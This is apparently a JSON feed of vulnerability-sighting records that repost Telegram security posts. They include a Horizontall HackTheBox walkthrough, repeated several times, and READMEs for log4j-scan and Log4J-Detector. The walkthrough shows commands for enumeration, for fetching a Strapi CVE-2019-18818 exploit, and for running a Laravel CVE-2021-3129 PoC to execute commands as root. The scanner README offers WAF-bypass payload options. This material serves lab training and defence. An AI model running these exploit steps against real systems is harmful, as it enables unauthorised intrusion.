\nhttps://blogger.googleusercontent.com/img/a/AVvXsEg5P8O-YazC63GrD3ASQtSzgC7vF2il1g_B5-XYrhPEaqRkPreEo3stdTN0e3ahUodc9l85gHmS2v4u3KNmAgHwxsBqStVNeb0ZcZPAPbqLXy7smSRH8X4AIg-5oE0bdEBPjBZGv8x-queG6RB3H2eY05xSEdeseFNz-qwvmh96SwP_MeDdLjiw2mJxpA=s16000 \n\nNow, upon traversing local port 8000 in the web browser, we observed that Laravel version 7.4.18 was running.\nhttp://localhost:8000 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEiAXPSwohpMtVZcTJH0oBsHQyhdwEnb1jxJfwSOHgPQdvE5thNIdgdhfX56s9uN33rR0jZhUad0hhLv-2tvPmdaSFTQ4opweFMdAQo1osVMd0UtG1h8Sqicyov9VRSRtRgUP-HQcHXaIJK1laNJb1Tc1ykyF9XaGV_468sxDHIqhY4JgOQvgZjDzmwBYw=s16000 \n\nThis version is vulnerable to CVE-2021-3129. This vulnerability allows an attacker to execute code because of an insecure implementation of the file_get_contents() function. A PoC is available on github (ref here) which we cloned and ran.\ngit clone https://github.com/nth347/CVE-2021-3129_exploit.git\ncd CVE-2021-3129_exploit\nchmod +x exploit.py\n./exploit.py http://localhost:8000 Monolog/RCE1 id\n./exploit.py http://localhost:8000 Monolog/RCE1 \"cat /root/root.txt\" \nhttps://blogger.googleusercontent.com/img/a/AVvXsEidDZ8aYKOKJJfCc7h4kGGaqnWFvPISMV-dAZrUt1N7adEUKXVfGSZ1m4l1u-pTHadUW45IHQSMWOPYHu4X3rGRDqKAwUTH67CWW0jnla3jCR86YLCvh5cPrRNYGyMVlPK0h2WBwbSPugLCW1t4__qSGnEw5Be6TeB_LFt31apDr16MEijC61iJVbyijg=s16000 \n\nAnd as you can see, the application was owned by root and thus we are able to execute commands as root. This is how we escalated our privileges and snagged the root flag. ConclusionThe lab offers a practical understanding of googling, understanding, finding public exploits and running them to exploit a server. In our humble opinion, the website is suitable for beginners or students practising for OSCP. Hope you liked the article. Thanks for reading.\n\nAuthor: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here\n\nThe post Horizontall HackTheBox Walkthrough appeared first on Hacking Articles.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-3129", "author": {"login": "automation"}}, {"uuid": "48855e2a-f601-4ae5-b35b-fd6faab29863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:07.016380+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42979", "content": "Hacking Articles\nHorizontall HackTheBox Walkthrough\n\nIntroductionHorizontall is an \u201ceasy\u201d rated CTF Linux box on Hack The Box platform. The box covers initial compromise by exploiting Strapi RCE vulnerability and escalating privileges by tunnelling an internal application (Laravel) to a local machine and running a PoC exploit on Laravel v 7.4.18 Table of ContentNetwork Scanning\n\n* nmap\n\nEnumeration\n\n* Subdomain enumeration using wfuzz\n* Strapi password reset exploit\n\nExploitation\n\n* Exploiting strapi CVE-2019-18818 to gain a reverse shell\n* Initial information gathering\n* Setting up my SSH key in the victim\u2019s authorized_keys file\n\nPrivilege Escalation\n\n* Tunnelling internal website to our system\n* Exploiting Laravel CVE-2021-3129 to snag root flag\n\nLet\u2019s begin Network ScanningFirst, we will run a nmap scan on the victim machine\nnmap -sV -sC -Pn 10.129.149.92 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEgpA-ERDt2IsmWu1onaA-eMoZwP8bM2uw9PiJTKSVhKoFR54wVRzWG5wS5slegvKNv96-piH_BX9d2EJ-JBGaOxii2snN8fZzMBYisTeSiDuFnZrphFY1QlfDB-xsujwKCaqC32lNPf9rvtTSaeahA3fCA0SdRdcQgGqnBHE8N0dIf74HfEzZcEmpP21w=s16000 EnumerationSince there was a website running on port 80, we added the address in our hosts file for resolution.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgwHC_tGTATWngd_dgXA-pUAoRGFprzxSxuAmRfl_NxWvjAqHwtYx98isQx33lw-Pk3q6v8Q7-tpRnFasx6qntPzKTpdYuzdY4-pQF7tIAZpkL8x-t8Z239lAQyjcHT_-2zJgTHYX_kL6XcNFtfXaxRLFWKj6I9AuIlnEzixwhDTRno1k8wZeSO6WhMBg=s16000 \n\nWe tried to look for exploitable vectors on the website itself but couldn\u2019t find any which indicated that we need to enumerate directories.\n\nEven directories enum didn\u2019t yield any results so we tried to enumerate subdomains.\nwfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H \"Host: FUZZ.horizontall.htb\" --sc 200 10.129.149.92 \nThis returned back an interesting subdomain called api-prod\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjljDsUWotESFbHKm6-bWJCD12yfeQWqhWLTbpm0kPZQdpJ_xowE71mD7kN7mhG9QEk3gdWMGoZRbZfJjpYfqxp_vNI3aq0ebVNgqi3s6XhGsUoj71ravIYXcuS2rRR0ZtkjlpmPXDDmlHo1JwHJh0blgFHO9x6BrzxHqxcCOoaKBskwYg7JRUzgNIzNw=s16000 \n\nWe add this subdomain in hosts file and try to open the website.\necho \"10.129.149.92\u00a0\u00a0 api-prod.horizontall.htb\" >> /etc/hosts \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhpkAZ1FQs1vINrFT3yNzeAQkUBox1nTSnNah3GeSiEV2eTGyIPZ4cpdN_mH_lfagNRDvjotfYtJ836KXZX5RU_KFMmhJx3cItwy6f1yu515CYVjdbfSMR8LlZ9ynhLajeA7mrczF2tcplH1_NKjMKjlHF7-pFqrQGLiJ5ISMGKIt2SG_DJ0gKKyGx0_g=s16000 \n\nIt seemed like a plain website with no vectors again and thus, we tried directory enumeration. We found a directory /admin. Upon checking the components that made this website, we found the title to be strapi.\nwhatweb http://api-prod.horizontall.htb/admin/ \nhttps://blogger.googleusercontent.com/img/a/AVvXsEimfroWYSUi1l_gg2u2KOWFlyXtQy0UO7pcFA_13LhNTK6-GU9OWI8g6P9dODQk8rTY7nSMAQ8kU-546CCQGx-XgQGXMNitJpK5N6MW1g50oQTdBQ5-PkpEHEtweHKNxBNt6GMKmDAVRcTbw_8Imz88hk1DWXvJCIP2G-r-JDqv3nPL6FCrGr9dPoBhhA=s16000 \n\nWe observed the response in burp and noticed strapi version to be 3.0.0-beta 17.4\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEiCJ8FgYHLpzxFTOdtwRwzcnHXhtUbc2NH_ehA9tppXwpZUVlKdpIJWRz5XgsL9HCbz7x2_L96MfIcWW4um32hlBV8Ev-kaKCwF2LH6afj-GKoyTn8OFA3Xu6MIripA_Y12Sg0mGnZAlnPvt1zXMqwuhWLgLgddxw6sQcDesQWrxvUuDs7tImeGVplX5Q=s16000 ExploitationSearchsploit results showed us an exploit for the given version was available. This version was afflicted with CVE-2019-18818. This vulnerability allows an attacker to reset the admin password without needing authentication tokens. You can read more about the vulnerability here. We downloaded the exploit using searchsploit.\nsearchsploit -m 50239 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEi5MFzlFitOzFqNd_7o471GSyoxDAOHL7QYU6SX4cAgVjYKlGVn[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-18818", "author": {"login": "automation"}}, {"uuid": "7d068265-5c7d-4cd6-b45f-df8e7081b2e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.968287+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42979", "content": "Hacking Articles\nHorizontall HackTheBox Walkthrough\n\nIntroductionHorizontall is an \u201ceasy\u201d rated CTF Linux box on Hack The Box platform. The box covers initial compromise by exploiting Strapi RCE vulnerability and escalating privileges by tunnelling an internal application (Laravel) to a local machine and running a PoC exploit on Laravel v 7.4.18 Table of ContentNetwork Scanning\n\n* nmap\n\nEnumeration\n\n* Subdomain enumeration using wfuzz\n* Strapi password reset exploit\n\nExploitation\n\n* Exploiting strapi CVE-2019-18818 to gain a reverse shell\n* Initial information gathering\n* Setting up my SSH key in the victim\u2019s authorized_keys file\n\nPrivilege Escalation\n\n* Tunnelling internal website to our system\n* Exploiting Laravel CVE-2021-3129 to snag root flag\n\nLet\u2019s begin Network ScanningFirst, we will run a nmap scan on the victim machine\nnmap -sV -sC -Pn 10.129.149.92 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEgpA-ERDt2IsmWu1onaA-eMoZwP8bM2uw9PiJTKSVhKoFR54wVRzWG5wS5slegvKNv96-piH_BX9d2EJ-JBGaOxii2snN8fZzMBYisTeSiDuFnZrphFY1QlfDB-xsujwKCaqC32lNPf9rvtTSaeahA3fCA0SdRdcQgGqnBHE8N0dIf74HfEzZcEmpP21w=s16000 EnumerationSince there was a website running on port 80, we added the address in our hosts file for resolution.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgwHC_tGTATWngd_dgXA-pUAoRGFprzxSxuAmRfl_NxWvjAqHwtYx98isQx33lw-Pk3q6v8Q7-tpRnFasx6qntPzKTpdYuzdY4-pQF7tIAZpkL8x-t8Z239lAQyjcHT_-2zJgTHYX_kL6XcNFtfXaxRLFWKj6I9AuIlnEzixwhDTRno1k8wZeSO6WhMBg=s16000 \n\nWe tried to look for exploitable vectors on the website itself but couldn\u2019t find any which indicated that we need to enumerate directories.\n\nEven directories enum didn\u2019t yield any results so we tried to enumerate subdomains.\nwfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H \"Host: FUZZ.horizontall.htb\" --sc 200 10.129.149.92 \nThis returned back an interesting subdomain called api-prod\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjljDsUWotESFbHKm6-bWJCD12yfeQWqhWLTbpm0kPZQdpJ_xowE71mD7kN7mhG9QEk3gdWMGoZRbZfJjpYfqxp_vNI3aq0ebVNgqi3s6XhGsUoj71ravIYXcuS2rRR0ZtkjlpmPXDDmlHo1JwHJh0blgFHO9x6BrzxHqxcCOoaKBskwYg7JRUzgNIzNw=s16000 \n\nWe add this subdomain in hosts file and try to open the website.\necho \"10.129.149.92\u00a0\u00a0 api-prod.horizontall.htb\" >> /etc/hosts \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhpkAZ1FQs1vINrFT3yNzeAQkUBox1nTSnNah3GeSiEV2eTGyIPZ4cpdN_mH_lfagNRDvjotfYtJ836KXZX5RU_KFMmhJx3cItwy6f1yu515CYVjdbfSMR8LlZ9ynhLajeA7mrczF2tcplH1_NKjMKjlHF7-pFqrQGLiJ5ISMGKIt2SG_DJ0gKKyGx0_g=s16000 \n\nIt seemed like a plain website with no vectors again and thus, we tried directory enumeration. We found a directory /admin. Upon checking the components that made this website, we found the title to be strapi.\nwhatweb http://api-prod.horizontall.htb/admin/ \nhttps://blogger.googleusercontent.com/img/a/AVvXsEimfroWYSUi1l_gg2u2KOWFlyXtQy0UO7pcFA_13LhNTK6-GU9OWI8g6P9dODQk8rTY7nSMAQ8kU-546CCQGx-XgQGXMNitJpK5N6MW1g50oQTdBQ5-PkpEHEtweHKNxBNt6GMKmDAVRcTbw_8Imz88hk1DWXvJCIP2G-r-JDqv3nPL6FCrGr9dPoBhhA=s16000 \n\nWe observed the response in burp and noticed strapi version to be 3.0.0-beta 17.4\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEiCJ8FgYHLpzxFTOdtwRwzcnHXhtUbc2NH_ehA9tppXwpZUVlKdpIJWRz5XgsL9HCbz7x2_L96MfIcWW4um32hlBV8Ev-kaKCwF2LH6afj-GKoyTn8OFA3Xu6MIripA_Y12Sg0mGnZAlnPvt1zXMqwuhWLgLgddxw6sQcDesQWrxvUuDs7tImeGVplX5Q=s16000 ExploitationSearchsploit results showed us an exploit for the given version was available. This version was afflicted with CVE-2019-18818. This vulnerability allows an attacker to reset the admin password without needing authentication tokens. You can read more about the vulnerability here. We downloaded the exploit using searchsploit.\nsearchsploit -m 50239 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEi5MFzlFitOzFqNd_7o471GSyoxDAOHL7QYU6SX4cAgVjYKlGVn[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-3129", "author": {"login": "automation"}}, {"uuid": "b234f877-491e-41d9-95d5-a36f506d31d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.916498+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42912", "content": "Kali Linux Tutorials\nlog4j-Scan : A Fully Automated, Accurate & Extensive Scanner For Finding Vulnerable log4j Hosts\n\nlog4j-scan is a fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts.\n\nFeatures\n\n* Support for lists of URLs.\n* Fuzzing for more than 60 HTTP request headers (not only 3-4 headers as previously seen tools).\n* Fuzzing for HTTP POST Data parameters.\n* Fuzzing for JSON data parameters.\n* Supports DNS callback for vulnerability discovery and validation.\n* WAF Bypass payloads.\n\nAnnouncement\n\nThere is a patch bypass on Log4J v2.15.0 that allows a full RCE. FullHunt added community support for log4j-scan to reliably detect CVE-2021-45046. If you\u2019re having difficulty discovering and scanning your infrastructure at scale or keeping up with the Log4J threat, please get in touch at (team@fullhunt.io).\n\nDescription\n\nWe have been researching the Log4J RCE (CVE-2021-44228) since it was released, and we worked in preventing this vulnerability with our customers. We are open-sourcing an open detection and scanning tool for discovering and fuzzing for Log4J RCE CVE-2021-44228 vulnerability. This shall be used by security teams to scan their infrastructure for Log4J RCE, and also test for WAF bypasses that can result in achieving code execution on the organization\u2019s environment.\n\nIt supports DNS OOB callbacks out of the box, there is no need to set up a DNS callback server.\n\nUsage\n\n$ python3 log4j-scan.py -h\n[\u2022] CVE-2021-44228 \u2013 Apache Log4j RCE Scanner\n[\u2022] Scanner provided by FullHunt.io \u2013 The Next-Gen Attack Surface Management Platform.\n[\u2022] Secure your External Attack Surface with FullHunt.io.\nusage: log4j-scan.py [-h] [-u URL] [-p PROXY] [-l USEDLIST] [\u2013request-type REQUEST_TYPE] [\u2013headers-file HEADERS_FILE] [\u2013run-all-tests] [\u2013exclude-user-agent-fuzzing]\n[\u2013wait-time WAIT_TIME] [\u2013waf-bypass] [\u2013custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD] [\u2013test-CVE-2021-45046]\n[\u2013dns-callback-provider DNS_CALLBACK_PROVIDER] [\u2013custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] [\u2013disable-http-redirects]\noptional arguments:\n-h, \u2013help show this help message and exit\n-u URL, \u2013url URL Check a single URL.\n-p PROXY, \u2013proxy PROXY\nsend requests through proxy\n-l USEDLIST, \u2013list USEDLIST\nCheck a list of URLs.\n\u2013request-type REQUEST_TYPE\nRequest Type: (get, post) \u2013 [Default: get].\n\u2013headers-file HEADERS_FILE\nHeaders fuzzing list \u2013 [default: headers.txt].\n\u2013run-all-tests Run all available tests on each URL.\n\u2013exclude-user-agent-fuzzing\nExclude User-Agent header from fuzzing \u2013 useful to bypass weak checks on User-Agents.\n\u2013wait-time WAIT_TIME\nWait time after all URLs are processed (in seconds) \u2013 [Default: 5].\n\u2013waf-bypass Extend scans with WAF bypass payloads.\n\u2013custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD\nTest with custom WAF bypass payload.\n\u2013test-CVE-2021-45046\nTest using payloads for CVE-2021-45046 (detection payloads).\n\u2013dns-callback-provider DNS_CALLBACK_PROVIDER\nDNS Callback provider (Options: dnslog.cn, interact.sh) \u2013 [Default: interact.sh].\n\u2013custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST\nCustom DNS Callback Host.\n\u2013disable-http-redirects\nDisable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have a higher chance of reaching vulnerable systems.\n\nScan a Single URL\n\n$ python3 log4j-scan.py -u https://log4j.lab.secbot.local\n\nScan a Single URL using all Request Methods: GET, POST (url-encoded form), POST (JSON body)\n$ python3 log4j-scan.py -u https://log4j.lab.secbot.local --run-all-tests \nDiscover WAF bypasses against the environment.\n\n$ python3 log4j-scan.py -u https://log4j.lab.secbot.local \u2013waf-bypass\n\nScan a list of URLs\n\n$ python3 log4j-scan.py -l urls.txt\n\nInstallation\n\n$ pip3 install -r requirements.txt\n\nDocker Support\n\ngit clone https://github.com/fullhunt/log4j-scan.git\ncd log4j-scan\nsudo docker build -t log4j-scan .\nsudo [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-45046", "author": {"login": "automation"}}, {"uuid": "0683232d-3b92-4a32-a9c2-fe9ec4ab7683", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.870290+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42912", "content": "Kali Linux Tutorials\nlog4j-Scan : A Fully Automated, Accurate & Extensive Scanner For Finding Vulnerable log4j Hosts\n\nlog4j-scan is a fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts.\n\nFeatures\n\n* Support for lists of URLs.\n* Fuzzing for more than 60 HTTP request headers (not only 3-4 headers as previously seen tools).\n* Fuzzing for HTTP POST Data parameters.\n* Fuzzing for JSON data parameters.\n* Supports DNS callback for vulnerability discovery and validation.\n* WAF Bypass payloads.\n\nAnnouncement\n\nThere is a patch bypass on Log4J v2.15.0 that allows a full RCE. FullHunt added community support for log4j-scan to reliably detect CVE-2021-45046. If you\u2019re having difficulty discovering and scanning your infrastructure at scale or keeping up with the Log4J threat, please get in touch at (team@fullhunt.io).\n\nDescription\n\nWe have been researching the Log4J RCE (CVE-2021-44228) since it was released, and we worked in preventing this vulnerability with our customers. We are open-sourcing an open detection and scanning tool for discovering and fuzzing for Log4J RCE CVE-2021-44228 vulnerability. This shall be used by security teams to scan their infrastructure for Log4J RCE, and also test for WAF bypasses that can result in achieving code execution on the organization\u2019s environment.\n\nIt supports DNS OOB callbacks out of the box, there is no need to set up a DNS callback server.\n\nUsage\n\n$ python3 log4j-scan.py -h\n[\u2022] CVE-2021-44228 \u2013 Apache Log4j RCE Scanner\n[\u2022] Scanner provided by FullHunt.io \u2013 The Next-Gen Attack Surface Management Platform.\n[\u2022] Secure your External Attack Surface with FullHunt.io.\nusage: log4j-scan.py [-h] [-u URL] [-p PROXY] [-l USEDLIST] [\u2013request-type REQUEST_TYPE] [\u2013headers-file HEADERS_FILE] [\u2013run-all-tests] [\u2013exclude-user-agent-fuzzing]\n[\u2013wait-time WAIT_TIME] [\u2013waf-bypass] [\u2013custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD] [\u2013test-CVE-2021-45046]\n[\u2013dns-callback-provider DNS_CALLBACK_PROVIDER] [\u2013custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] [\u2013disable-http-redirects]\noptional arguments:\n-h, \u2013help show this help message and exit\n-u URL, \u2013url URL Check a single URL.\n-p PROXY, \u2013proxy PROXY\nsend requests through proxy\n-l USEDLIST, \u2013list USEDLIST\nCheck a list of URLs.\n\u2013request-type REQUEST_TYPE\nRequest Type: (get, post) \u2013 [Default: get].\n\u2013headers-file HEADERS_FILE\nHeaders fuzzing list \u2013 [default: headers.txt].\n\u2013run-all-tests Run all available tests on each URL.\n\u2013exclude-user-agent-fuzzing\nExclude User-Agent header from fuzzing \u2013 useful to bypass weak checks on User-Agents.\n\u2013wait-time WAIT_TIME\nWait time after all URLs are processed (in seconds) \u2013 [Default: 5].\n\u2013waf-bypass Extend scans with WAF bypass payloads.\n\u2013custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD\nTest with custom WAF bypass payload.\n\u2013test-CVE-2021-45046\nTest using payloads for CVE-2021-45046 (detection payloads).\n\u2013dns-callback-provider DNS_CALLBACK_PROVIDER\nDNS Callback provider (Options: dnslog.cn, interact.sh) \u2013 [Default: interact.sh].\n\u2013custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST\nCustom DNS Callback Host.\n\u2013disable-http-redirects\nDisable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have a higher chance of reaching vulnerable systems.\n\nScan a Single URL\n\n$ python3 log4j-scan.py -u https://log4j.lab.secbot.local\n\nScan a Single URL using all Request Methods: GET, POST (url-encoded form), POST (JSON body)\n$ python3 log4j-scan.py -u https://log4j.lab.secbot.local --run-all-tests \nDiscover WAF bypasses against the environment.\n\n$ python3 log4j-scan.py -u https://log4j.lab.secbot.local \u2013waf-bypass\n\nScan a list of URLs\n\n$ python3 log4j-scan.py -l urls.txt\n\nInstallation\n\n$ pip3 install -r requirements.txt\n\nDocker Support\n\ngit clone https://github.com/fullhunt/log4j-scan.git\ncd log4j-scan\nsudo docker build -t log4j-scan .\nsudo [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "54ffa9c2-3dfe-477a-879b-f27049b3f960", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.828962+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42952", "content": "Hacking Articles|Raj Chandel's Blog\nHorizontall HackTheBox Walkthrough\n\nIntroductionHorizontall is an \u201ceasy\u201d rated CTF Linux box on Hack The Box platform. The box covers initial compromise by exploiting Strapi RCE vulnerability and escalating privileges by tunneling an internal application (Laravel) to local machine and running a PoC exploit on Laravel v 7.4.18Table of Content\u00b7 nmapEnumeration\u00b7 Subdomain enumeration using wfuzzExploitation\u00b7 Exploiting strapi CVE-2019-18818 to gain a reverse shellPrivilege Escalation\u00b7 Tunneling internal website to our systemNetwork ScanningFirst, we will run an nmap scan on the victim machine nmap -sV -sC -Pn 10.129.149.92https://blogger.googleusercontent.com/img/a/AVvXsEgpA-ERDt2IsmWu1onaA-eMoZwP8bM2uw9PiJTKSVhKoFR54wVRzWG5wS5slegvKNv96-piH_BX9d2EJ-JBGaOxii2snN8fZzMBYisTeSiDuFnZrphFY1QlfDB-xsujwKCaqC32lNPf9rvtTSaeahA3fCA0SdRdcQgGqnBHE8N0dIf74HfEzZcEmpP21w=s16000 EnumerationSince, there was a website running on port 80, we added the address in our hosts file for resolution.wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H \"Host: FUZZ.horizontall.htb\" --sc 200 10.129.149.92This returned back an interesting subdomain called api-prodecho \"10.129.149.92\u00a0\u00a0 api-prod.horizontall.htb\" >> /etc/hostshttps://blogger.googleusercontent.com/img/a/AVvXsEhpkAZ1FQs1vINrFT3yNzeAQkUBox1nTSnNah3GeSiEV2eTGyIPZ4cpdN_mH_lfagNRDvjotfYtJ836KXZX5RU_KFMmhJx3cItwy6f1yu515CYVjdbfSMR8LlZ9ynhLajeA7mrczF2tcplH1_NKjMKjlHF7-pFqrQGLiJ5ISMGKIt2SG_DJ0gKKyGx0_g=s16000 It seemed like a plain website with no vectors again and thus, we tried directory enumeration. We found a directory /admin. Upon checking the components that made this website, we found the title to be strapi.whatweb http://api-prod.horizontall.htb/admin/https://blogger.googleusercontent.com/img/a/AVvXsEimfroWYSUi1l_gg2u2KOWFlyXtQy0UO7pcFA_13LhNTK6-GU9OWI8g6P9dODQk8rTY7nSMAQ8kU-546CCQGx-XgQGXMNitJpK5N6MW1g50oQTdBQ5-PkpEHEtweHKNxBNt6GMKmDAVRcTbw_8Imz88hk1DWXvJCIP2G-r-JDqv3nPL6FCrGr9dPoBhhA=s16000 We observed the response in burp and noticed strapi version to be 3.0.0-beta 17.4https://blogger.googleusercontent.com/img/a/AVvXsEiCJ8FgYHLpzxFTOdtwRwzcnHXhtUbc2NH_ehA9tppXwpZUVlKdpIJWRz5XgsL9HCbz7x2_L96MfIcWW4um32hlBV8Ev-kaKCwF2LH6afj-GKoyTn8OFA3Xu6MIripA_Y12Sg0mGnZAlnPvt1zXMqwuhWLgLgddxw6sQcDesQWrxvUuDs7tImeGVplX5Q=s16000 ExploitationSearchsploit result showed us an exploit for the given version was available. This version was afflicted with CVE-2019-18818. This vulnerability allows an attacker to reset the admin password witho[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-18818", "author": {"login": "automation"}}, {"uuid": "af3ed2bd-24f3-4e48-98b3-31bfedcceccb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.774235+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/42876", "content": "Kali Linux Tutorials\nLog4J-Detector : Detects Log4J versions on your file-system within any application that are vulnerable to CVE-2021-44228 and CVE-2021-45046\n\nLog4J-Detector is a Scanner that detects vulnerable Log4J versions to help teams assess their exposure to CVE-2021-44228\u00a0(CRITICAL),\u00a0CVE-2021-45046,\u00a0CVE-2021-45105, and\u00a0CVE-2021-44832. Can search for Log4J instances by carefully examining the complete file-system, including all installed applications. It is able to find Log4J instances that are hidden several layers deep. Works on Linux, Windows, and Mac, and everywhere else Java runs, too!\n\nIntroduction\n\nCurrently reports\u00a0log4j-core\u00a0versions 2.3.2, 2.12.4, and 2.17.1 as _SAFE_, 2.3.1, 2.12.2, 2.12.3, 2.15.0, 2.16.0, and 2.17.0 as _OKAY_\u00a0and all other versions as _VULNERABLE_\u00a0(although it does report pre-2.0-beta9 as _POTENTIALLY_SAFE_). It reports older\u00a0log4j-1.x\u00a0versions as _OLD_.\n\nCan correctly detect log4j inside executable spring-boot jars/wars, dependencies blended into\u00a0uber jars, shaded jars, and even exploded jar files just sitting uncompressed on the file-system (aka *.class).\n\nWe currently maintain a collection of\u00a0log4j-samples\u00a0we use for testing.\n\nExample Usage\n\njava -jar log4j-detector-2021.12.29.jar ./samples\n\n\u2014 github.com/mergebase/log4j-detector v2021.12.29 (by mergebase.com) analyzing paths (could take a while).\n\u2014 Note: specify the \u2018\u2013verbose\u2019 flag to have every file examined printed to STDERR.\nfalse-hits/log4j-core-2.12.2.jar contains Log4J-2.x == 2.12.2 OKAY\nfalse-hits/log4j-core-2.12.3.jar contains Log4J-2.x == 2.12.3 OKAY\nfalse-hits/log4j-core-2.12.4.jar contains Log4J-2.x == 2.12.4 SAFE\nfalse-hits/log4j-core-2.15.0.jar contains Log4J-2.x == 2.15.0 OKAY\nfalse-hits/log4j-core-2.16.0.jar contains Log4J-2.x == 2.16.0 OKAY\nfalse-hits/log4j-core-2.17.0.jar contains Log4J-2.x == 2.17.0 OKAY\nfalse-hits/log4j-core-2.17.1.jar contains Log4J-2.x >= 2.17.1 SAFE\nfalse-hits/log4j-core-2.3.1.jar contains Log4J-2.x == 2.3.1 OKAY\nfalse-hits/log4j-core-2.3.2.jar contains Log4J-2.x == 2.3.2 SAFE\ntrue-hits/log4j-core-2.0-beta9.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.10.0.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.10.0.zip contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.11.0.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.11.1.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.11.2.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.12.0.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.12.1.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.14.0.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.14.1.jar contains Log4J-2.x >= 2.10.0 VULNERABLE\ntrue-hits/log4j-core-2.2.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.3.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.4.1.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.4.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE true-hits/log4j-core-2.9.1.jar contains Log4J-2.x >= 2.0-beta9 (< 2.10.0) VULNERABLE\nold-hits/log4j-1.1.3.jar contains Log4J-1.x <=OLD\nold-hits/log4j-1.2.17.jar contains Log4J-1.x <=OLD\nold-hits/log4j-core-2.0-beta2.jar contains Log4J-2.x <=POTENTIALLY_SAFE (Did you remove JndiLookup.class?)\n\nUnderstanding The Results\n\n_VULNERABLE_\u00a0-> You need to upgrade or remove this file.\n\n_OKAY_\u00a0-> We report this for Log4J versions 2.3.1, 2.12.2, 2.12.3, 2.15.0, 2.16.0, and 2.17.0. We recommend upgrading to 2.17.1.\n\n_SAFE_\u00a0-> We currently only report this for Log4J versions 2.3.2, 2.12.4, and 2.17.1 (and greater).\n\n_OLD_\u00a0-> You are safe from CVE-2021-44228, but should plan to upgrade because Log4J 1.2.x has been EOL for 7 years and has [...]", "vulnerability": "CVE-2021-45105", "author": {"login": "automation"}}, {"uuid": "ddceed81-5656-4665-b47d-64711d5fb5be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:06.732150+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/42876", "content": "Kali Linux Tutorials\nLog4J-Detector : Detects Log4J versions on your file-system within any application that are vulnerable to CVE-2021-44228 and CVE-2021-45046\n\nLog4J-Detector is a Scanner that detects vulnerable Log4J versions to help teams assess their exposure to 